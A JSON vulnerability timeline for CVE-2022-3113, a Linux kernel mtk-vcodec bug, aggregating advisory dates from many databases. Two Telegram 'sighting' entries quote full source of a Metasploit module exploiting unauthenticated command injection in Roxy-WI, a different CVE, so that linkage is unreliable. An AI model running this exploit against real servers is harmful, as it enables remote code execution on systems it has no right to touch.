{"metadata": {"vulnerability": "CVE-2022-3113", "count": 67, "kinds": {"milestone": 11, "sighting": 4, "kev": 0, "other": 52}}, "data": [{"timestamp": "2022-09-02T00:00:00Z", "date_only": false, "value": "2022-09-02T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-3113", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-12-02T00:00:00Z", "date_only": false, "value": "2022-12-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3113", "record": "MSRC_CVE-2022-3113", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-12-13T23:00:00Z", "date_only": false, "value": "2022-12-13T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-12-13T23:00:00Z", "date_only": false, "value": "2022-12-13T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-12-13T23:00:00Z", "date_only": false, "value": "2022-12-13T23:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-12-14T00:00:00Z", "date_only": false, "value": "2022-12-14T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-3113", "field": "cveMetadata.datePublished"}, {"timestamp": "2022-12-14T00:00:00Z", "date_only": false, "value": "2022-12-14T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / redhat", "record": "CVE-2022-3113", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-12-14T21:15:00Z", "date_only": false, "value": "2022-12-14T21:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-MRVV-FWRW-5PGV", "record": "GHSA-MRVV-FWRW-5PGV", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-12-14T21:15:00Z", "date_only": false, "value": "2022-12-14T21:15:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2022-3113", "record": "UBUNTU-CVE-2022-3113", "field": "published"}, {"timestamp": "2022-12-14T21:15:00Z", "date_only": false, "value": "2022-12-14T21:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-3113", "record": "GSD-2022-3113", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2022-12-14T21:15:12.653Z", "date_only": false, "value": "2022-12-14T21:15:12.653", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-3113", "record": "FKIE_CVE-2022-3113", "field": "published"}, {"timestamp": "2022-12-14T21:30:17Z", "date_only": false, "value": "2022-12-14T21:30:17Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-MRVV-FWRW-5PGV", "record": "GHSA-MRVV-FWRW-5PGV", "field": "published"}, {"timestamp": "2022-12-16T21:22:00Z", "date_only": false, "value": "2022-12-16T21:22Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-3113", "record": "GSD-2022-3113", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-12-16T21:30:43Z", "date_only": false, "value": "2022-12-16T21:30:43Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-MRVV-FWRW-5PGV", "record": "GHSA-MRVV-FWRW-5PGV", "field": "modified"}, {"timestamp": "2022-12-17T00:00:00Z", "date_only": false, "value": "2022-12-17T00:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3113", "record": "MSRC_CVE-2022-3113", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-12-17T00:00:00Z", "date_only": false, "value": "2022-12-17T00:00:00.000Z", "kind": "other", "label": "Date", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3113", "record": "MSRC_CVE-2022-3113", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-12-17T00:00:00Z", "date_only": false, "value": "2022-12-17T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3113", "record": "MSRC_CVE-2022-3113", "field": "document.tracking.current_release_date"}, {"timestamp": "2022-12-26T23:00:00Z", "date_only": false, "value": "2022-12-26T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2023-01-13T11:05:31Z", "date_only": false, "value": "2023-01-13T11:05:31Z", "kind": "milestone", "label": "Published", "source": "osv_openeuler \u00b7 OESA-2023-1035", "record": "OESA-2023-1035", "field": "published"}, {"timestamp": "2023-01-25T23:00:00Z", "date_only": false, "value": "2023-01-25T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2023-01-26T08:17:55Z", "date_only": false, "value": "2023-01-26T08:17:55Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2023:0146-1", "record": "SUSE-SU-2023:0146-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-01-26T08:17:55Z", "date_only": false, "value": "2023-01-26T08:17:55Z", "kind": "other", "label": "Date", "source": "csaf_suse \u00b7 SUSE-SU-2023:0146-1", "record": "SUSE-SU-2023:0146-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2023-01-26T08:17:55Z", "date_only": false, "value": "2023-01-26T08:17:55Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2023:0146-1", "record": "SUSE-SU-2023:0146-1", "field": "document.tracking.generator.date"}, {"timestamp": "2023-01-26T08:17:55Z", "date_only": false, "value": "2023-01-26T08:17:55Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2023:0146-1", "record": "SUSE-SU-2023:0146-1", "field": "document.tracking.initial_release_date"}, {"timestamp": "2023-01-26T08:17:55Z", "date_only": false, "value": "2023-01-26T08:17:55Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2023:0146-1", "record": "SUSE-SU-2023:0146-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2023-01-26T08:24:17Z", "date_only": false, "value": "2023-01-26T08:24:17Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2023:0147-1", "record": "SUSE-SU-2023:0147-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-01-26T08:24:17Z", "date_only": false, "value": "2023-01-26T08:24:17Z", "kind": "other", "label": "Date", "source": "csaf_suse \u00b7 SUSE-SU-2023:0147-1", "record": "SUSE-SU-2023:0147-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2023-01-26T08:24:17Z", "date_only": false, "value": "2023-01-26T08:24:17Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2023:0147-1", "record": "SUSE-SU-2023:0147-1", "field": "document.tracking.generator.date"}, {"timestamp": "2023-01-26T08:24:17Z", "date_only": false, "value": "2023-01-26T08:24:17Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2023:0147-1", "record": "SUSE-SU-2023:0147-1", "field": "document.tracking.initial_release_date"}, {"timestamp": "2023-01-26T09:18:49Z", "date_only": false, "value": "2023-01-26T09:18:49Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2023:0149-1", "record": "SUSE-SU-2023:0149-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-01-26T09:18:49Z", "date_only": false, "value": "2023-01-26T09:18:49Z", "kind": "other", "label": "Date", "source": "csaf_suse \u00b7 SUSE-SU-2023:0149-1", "record": "SUSE-SU-2023:0149-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2023-01-26T09:18:49Z", "date_only": false, "value": "2023-01-26T09:18:49Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2023:0149-1", "record": "SUSE-SU-2023:0149-1", "field": "document.tracking.generator.date"}, {"timestamp": "2023-01-26T09:18:49Z", "date_only": false, "value": "2023-01-26T09:18:49Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2023:0149-1", "record": "SUSE-SU-2023:0149-1", "field": "document.tracking.initial_release_date"}, {"timestamp": "2023-01-26T09:18:49Z", "date_only": false, "value": "2023-01-26T09:18:49Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2023:0149-1", "record": "SUSE-SU-2023:0149-1", "field": "document.tracking.current_release_date"}, {"timestamp": "2023-01-26T23:00:00Z", "date_only": false, "value": "2023-01-26T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.3.date"}, {"timestamp": "2023-01-27T00:00:00Z", "date_only": false, "value": "2023-01-27T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2023-AVI-0066", "record": "CERTFR-2023-AVI-0066", "field": "revisions.0.revision_date"}, {"timestamp": "2023-02-14T23:00:00Z", "date_only": false, "value": "2023-02-14T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.4.date"}, {"timestamp": "2023-03-02T23:00:00Z", "date_only": false, "value": "2023-03-02T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.5.date"}, {"timestamp": "2023-03-06T23:00:00Z", "date_only": false, "value": "2023-03-06T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.6.date"}, {"timestamp": "2023-04-05T22:00:00Z", "date_only": false, "value": "2023-04-05T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.7.date"}, {"timestamp": "2023-04-10T22:00:00Z", "date_only": false, "value": "2023-04-10T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.8.date"}, {"timestamp": "2023-04-17T22:00:00Z", "date_only": false, "value": "2023-04-17T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.9.date"}, {"timestamp": "2023-04-19T22:00:00Z", "date_only": false, "value": "2023-04-19T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.10.date"}, {"timestamp": "2023-05-22T22:00:00Z", "date_only": false, "value": "2023-05-22T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.11.date"}, {"timestamp": "2023-06-21T22:00:00Z", "date_only": false, "value": "2023-06-21T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.12.date"}, {"timestamp": "2023-07-12T22:00:00Z", "date_only": false, "value": "2023-07-12T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.13.date"}, {"timestamp": "2023-07-18T22:00:00Z", "date_only": false, "value": "2023-07-18T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.14.date"}, {"timestamp": "2023-07-26T22:00:00Z", "date_only": false, "value": "2023-07-26T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.revision_history.15.date"}, {"timestamp": "2023-07-26T22:00:00Z", "date_only": false, "value": "2023-07-26T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.current_release_date"}, {"timestamp": "2023-12-13T01:19:40.591Z", "date_only": false, "value": "2023-12-13T01:19:40.591238Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-3113", "record": "GSD-2022-3113", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-03T01:00:10.205Z", "date_only": false, "value": "2024-08-03T01:00:10.205Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-3113", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-15T17:39:58.280Z", "date_only": false, "value": "2024-08-15T17:39:58.280+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-2322", "record": "WID-SEC-W-2022-2322", "field": "document.tracking.generator.date"}, {"timestamp": "2025-03-08T04:35:52Z", "date_only": false, "value": "2025-03-08T04:35:52.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/7AR2mHQZ1FAOn1zCDLLQiaIkXtcQvh8iwPDupfL7MLgksb5Q", "record": "CVE-2022-3113", "field": "creation_timestamp", "uuid": "72073c9a-d78a-440e-a1e5-d1861478c150"}, {"timestamp": "2025-04-22T13:56:21.351Z", "date_only": false, "value": "2025-04-22T13:56:21.351404Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-3113", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2025-04-22T13:56:21.351Z", "date_only": false, "value": "2025-04-22T13:56:21.351404Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-3113", "record": "FKIE_CVE-2022-3113", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-04-22T13:56:46.160Z", "date_only": false, "value": "2025-04-22T13:56:46.160Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-3113", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-04-22T13:56:46.160Z", "date_only": false, "value": "2025-04-22T13:56:46.160Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-3113", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-04-22T14:03:27Z", "date_only": false, "value": "2025-04-22T14:03:27.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12839", "record": "CVE-2022-3113", "field": "creation_timestamp", "uuid": "74d9af5e-8c69-4c96-b51f-5deddbd71e43", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-3113\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in the Linux kernel through 5.16-rc6. mtk_vcodec_fw_vpu_init in drivers/media/platform/mtk-vcodec/mtk_vcodec_fw_vpu.c lacks check of the return value of devm_kzalloc() and will cause the null pointer dereference.\n\ud83d\udccf Published: 2022-12-14T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-22T13:56:46.160Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v5.19-rc2&id=e25a89f743b18c029bfbe5e1663ae0c7190912b0\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2153053", "url": "https://t.me/DarkWebInformer_CVEAlerts/12839"}, {"timestamp": "2025-10-20T00:09:03.044Z", "date_only": false, "value": "2025-10-20T00:09:03.044Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-3113", "record": "MSRC_CVE-2022-3113", "field": "document.tracking.generator.date"}, {"timestamp": "2026-04-22T07:41:18Z", "date_only": false, "value": "2026-04-22T07:41:18Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2022-3113", "record": "UBUNTU-CVE-2022-3113", "field": "modified"}, {"timestamp": "2026-06-17T04:58:53.317Z", "date_only": false, "value": "2026-06-17T04:58:53.317", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-3113", "record": "FKIE_CVE-2022-3113", "field": "lastModified"}, {"timestamp": "2026-08-06T11:05:31Z", "date_only": false, "value": "2026-08-06T11:05:31Z", "kind": "other", "label": "Updated", "source": "osv_openeuler \u00b7 OESA-2023-1035", "record": "OESA-2023-1035", "field": "modified"}, {"timestamp": "2026-09-01T20:01:33.151Z", "date_only": false, "value": "2026-09-01T20:01:33.151012Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/63081", "record": "CVE-2022-3113", "field": "creation_timestamp", "uuid": "3efac98b-399a-4166-bcb0-9d7fe32f7625", "content": "Exploit Collector\nRoxy-WI Remote Command Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png This Metasploit module exploits an unauthenticated command injection vulnerability in Roxy-WI versions prior to 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n\nSHA-256 | 96d069f907bcd7cf304913bbed0abdeaec0d86467550d0c7535f3ee8826057d3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',\n'Description' => %q{\nThis module exploits an unauthenticated command injection vulnerability in Roxy-WI\nprior to version 6.1.1.0. Successful exploitation results in remote code execution\nunder the context of the web server user.\n\nRoxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Nuri \u00c7ilengir  [\n['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory\n['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information\n['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch\n['CVE', '2022-31137']\n],\n'DefaultOptions' => {\n'SSL' => true,\n'WfsDelay' => 25\n},\n'Platform' => %w[unix linux],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Targets' => [\n[\n'Unix (In-Memory)',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :in_memory\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :dropper\n}\n]\n],\n'CmdStagerFlavor' => ['printf'],\n'DefaultTarget' => 0,\n'Privileged' => false,\n'DisclosureDate' => '2022-07-06',\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS]\n}\n)\n)\nregister_options(\n[\nOpt::RPORT(443),\nOptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])\n]\n)\nend\n\ndef execute_command(cmd, _opts = {})\nreturn send_request_cgi(\n{\n'method' => 'POST',\n'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),\n'vars_post' => {\n'serv' => '127.0.0.1',\n'ipbackend' => \"\\\"; #{cmd} ;#\",\n'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),\n'backend_server' => '127.0.0.1'\n}\n}, 10\n)\nrescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT\nreturn nil\nend\n\ndef check\nprint_status(\"Checking if #{peer} is vulnerable!\")\n\nres = execute_command('id')\n\nreturn CheckCode::Unknown(\"Didn't receive a response from #{peer}\") unless res\n\nif res.code == 200 && res.body =~ /uid=\\d+\\(.+\\)/\nprint_status(\"#{peer} is vulnerable!\")\nreturn CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')\nelsif res.code == 200\nreturn CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')\nelse\nreturn CheckCode::Safe(\"The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.\")\nend\nend\n\ndef exploit\nprint_status('Exploiting...')\ncase target['Type']\nwhen :in_memory\nexecute_command(payload.encoded)\nwhen :dropper\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/63081"}, {"timestamp": "2026-09-05T14:00:04.012Z", "date_only": false, "value": "2026-09-05T14:00:04.012838Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/63081", "record": "CVE-2022-3113", "field": "creation_timestamp", "uuid": "32355ded-d166-421c-b65c-438851f95169", "content": "Exploit Collector\nRoxy-WI Remote Command Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png This Metasploit module exploits an unauthenticated command injection vulnerability in Roxy-WI versions prior to 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n\nSHA-256 | 96d069f907bcd7cf304913bbed0abdeaec0d86467550d0c7535f3ee8826057d3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',\n'Description' => %q{\nThis module exploits an unauthenticated command injection vulnerability in Roxy-WI\nprior to version 6.1.1.0. Successful exploitation results in remote code execution\nunder the context of the web server user.\n\nRoxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Nuri \u00c7ilengir  [\n['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory\n['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information\n['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch\n['CVE', '2022-31137']\n],\n'DefaultOptions' => {\n'SSL' => true,\n'WfsDelay' => 25\n},\n'Platform' => %w[unix linux],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Targets' => [\n[\n'Unix (In-Memory)',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :in_memory\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :dropper\n}\n]\n],\n'CmdStagerFlavor' => ['printf'],\n'DefaultTarget' => 0,\n'Privileged' => false,\n'DisclosureDate' => '2022-07-06',\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS]\n}\n)\n)\nregister_options(\n[\nOpt::RPORT(443),\nOptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])\n]\n)\nend\n\ndef execute_command(cmd, _opts = {})\nreturn send_request_cgi(\n{\n'method' => 'POST',\n'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),\n'vars_post' => {\n'serv' => '127.0.0.1',\n'ipbackend' => \"\\\"; #{cmd} ;#\",\n'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),\n'backend_server' => '127.0.0.1'\n}\n}, 10\n)\nrescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT\nreturn nil\nend\n\ndef check\nprint_status(\"Checking if #{peer} is vulnerable!\")\n\nres = execute_command('id')\n\nreturn CheckCode::Unknown(\"Didn't receive a response from #{peer}\") unless res\n\nif res.code == 200 && res.body =~ /uid=\\d+\\(.+\\)/\nprint_status(\"#{peer} is vulnerable!\")\nreturn CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')\nelsif res.code == 200\nreturn CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')\nelse\nreturn CheckCode::Safe(\"The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.\")\nend\nend\n\ndef exploit\nprint_status('Exploiting...')\ncase target['Type']\nwhen :in_memory\nexecute_command(payload.encoded)\nwhen :dropper\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/63081"}, {"timestamp": "2026-09-20T14:52:08Z", "date_only": false, "value": "2026-09-20T14:52:08Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2023:0147-1", "record": "SUSE-SU-2023:0147-1", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-10-11T11:45:48Z", "date_only": false, "value": "2026-10-11T11:45:48Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2023:0147-1", "record": "SUSE-SU-2023:0147-1", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2026-10-11T11:45:48Z", "date_only": false, "value": "2026-10-11T11:45:48Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2023:0147-1", "record": "SUSE-SU-2023:0147-1", "field": "document.tracking.current_release_date"}]}